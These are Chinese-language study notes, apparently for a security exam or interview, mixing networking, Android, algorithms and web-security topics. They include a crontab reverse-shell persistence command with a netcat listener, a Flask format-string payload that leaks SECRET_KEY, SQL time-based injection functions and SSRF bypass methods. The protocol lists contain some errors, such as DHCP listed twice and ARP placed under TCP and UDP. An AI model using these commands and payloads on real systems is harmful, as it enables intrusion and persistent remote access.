考点
- 校园卡–RFID芯片
- 文法和自动机
- Android四大组件–窗口-服务–内容–接收
activity:一个单独的窗口
service:用于在后台完成用户指定的操作
content provider:使一个应用程序的指定数据集提供给其他应用程序
broadcast receiver:对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应 - 基于TCP和UDP的协议
基于TCP的应用层协议有:7
HTTP、FTP、SMTP、TELNET、SSH、HTTPS、POP3
基于UDP的应用层协议:3
BOOTP(Boot Protocol,启动协议),应用于无盘设备。
NTP(Network Time Protocol,网络时间协议),用于网络同步。
DHCP(Dynamic Host Configuration Protocol,动态主机配置协议),动态配置IP地址。
运行在TCP和UDP协议上:5
DNS(Domain Name Service,域名服务),用于完成地址查找,邮件转发等工作。
ECHO(Echo Protocol,回绕协议),用于查错及测量应答时间(运行在TCP和UDP协议上)。
SNMP(Simple Network Management Protocol,简单网络管理协议),用于网络信息的收集和网络管理。
DHCP(Dynamic Host Configuration Protocol,动态主机配置协议),动态配置IP地址。
ARP(Address Resolution Protocol,地址解析协议),用于动态解析以太网硬件的地址。
- 流量检测WEB工具盲打行为—请求可以,响应不行
- Docker 远程管理端口 2375—为了实现集群管理—端口没有任何加密和认证过程
加固修复:
iptables设置不允许外部访问本机2375端口
关闭2375端口,使用Docker提供的加密远程管理2376,配合CA证书。- 二分查找
例子:
- 二分查找
# 递归
# 返回x在arr中的索引和第几次查询,如果不存在返回-1
def binarySearch(arr,l,r,x,count):
#基本判断
if r>=l:#l=0
mid =int(l+(r-l)/2)#索引
# 元素整好的中间位置
if arr[mid] ==x:
count=count+1
return mid,count
#元素小于中间位置的元素,只需要再比较左边的元素
elif arr[mid]>x:
count =count +1
return binarySearch(arr,l,mid-1,x,count)
#元素大于中间位置的元素,只需要再比较右边的元素
else:
count= count +1
return binarySearch(arr,mid+1,r,x,count)
else:
#不存在
return -1,-1
#测试数组
arr=[1,4,8,13,40,46,65,76,79,82,96,100]
#x = 82
x=83
#函数调用
result,count = binarySearch(arr,0,len(arr)-1,x,0)
if result!=-1:
print('经过第{}次查询,元素在数组中的索引为{}'.format(count,result))
else:
print("元素不存在")
-
可信计算相关的技术
- 反弹shell-命令
netcat,Bash,Socat,Telnet,whois,curl Python脚本,PHP脚本,Perl脚本,Ruby脚本,metasploit,
nc —监听
nc -lvp 2375 , l-listen,v-verbose,p-port
bash —反弹
利用bash和crontab计划任务向宿主机写入shell
echo "***** bash -i >& /dev/tcp/ip/2375 0>&1 " >> /var/spool/cron/root
- 优先加载动态链接库
linux 环境变量LD_PRELOAD简介 定义优先加载的动态链接库 - 渗透spring,泄露明文数据库账号和密码
- weglogic 反序列化漏洞,jackson反序列化漏洞 struts2 远程代码执行漏洞,fastjson 反序列化漏洞对应的poc
- C,++a和a++的应用
- 链表的特点
插入和删除操作不需要移动元素
访问任何节点都要从头节点开始
无需事先估计存储空间
所需空间与链表长度成正比 - GAN与对抗攻击
- kubernetes集群数据库存储位置–ETCD
- 防范GPS定位欺骗攻击
- python flask—SSTI,XSS,session伪造,格式化字符串问题
格式化字符串
>>> config = {'SECRET_KEY': '12345'}
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> user = User('joe')
>>> '{0.__class__.__init__.__globals__[config]}'.format(user)
"{'SECRET_KEY': '12345'}"
- SQL server—延时注入函数
延时函数 WAITFOR DELAY
mysql 延时注入函数
sleep()
benchmark
笛卡尔积
RLIKE
-
僵尸网络控制结构—P2P网络结构
-
抓包工具—Fiddler,Tcpdump,wireshark,burpsuite
nc—netcat–端口扫描,文件传输 -
SSRF绕过方法
DNS Rebinding
对IP做进制转换
利用302跳转
利用URL短地址服务绕过IP检查 -
k8s的Pod安全策略
-
linux—进程间通信方式
管道,信号,消息队列,共享内存,信号量,套接字 -
sql,有效绕过—联合注释
-
TCP三次握手,四次挥手
-
对称加密和非对称加密,算法
-
int *arr[10]
-
提升IOT设备安全性
-
模板语言,服务器远程代码执行,最安全
-
IOT芯片提取固件
-
fork,vfork—创建子进程
-
C,数组和指针
-
DDOS反射攻击
-
XSS与UXSS
参考链接
https://blog.csdn.net/weixin_41603028/article/details/120120334
- 工具获取反汇编代码–IDA,ollydbg
- HTTP baisc认证
- sql注入编码逃过方式
URL编码,Unicode编码,Base64编码,Hex编码,ASCII编码,无HTML实体编码
HTML实体编码对XSS有用。
两道问答题:
应急响应:
内网服务器对内网段进行扫描,如何应急响应。
参考:
情况:内网服务器对某个网段发起80端口扫描
应急响应流程:准备,检测,抑制,根除,恢复,溯源。
处理意见:先确认该扫描是否为内部人员的正常访问网页的操作,如果不是内部人员的行为,则通过查找日志或者流量的方式来确定80端口扫描的具体时间和范围等基础信息。
对10.10.11.11的服务器进行重点排查,排查是否可能是攻击者作为跳板(例如,SSRF等攻击)来攻击。
链表右移: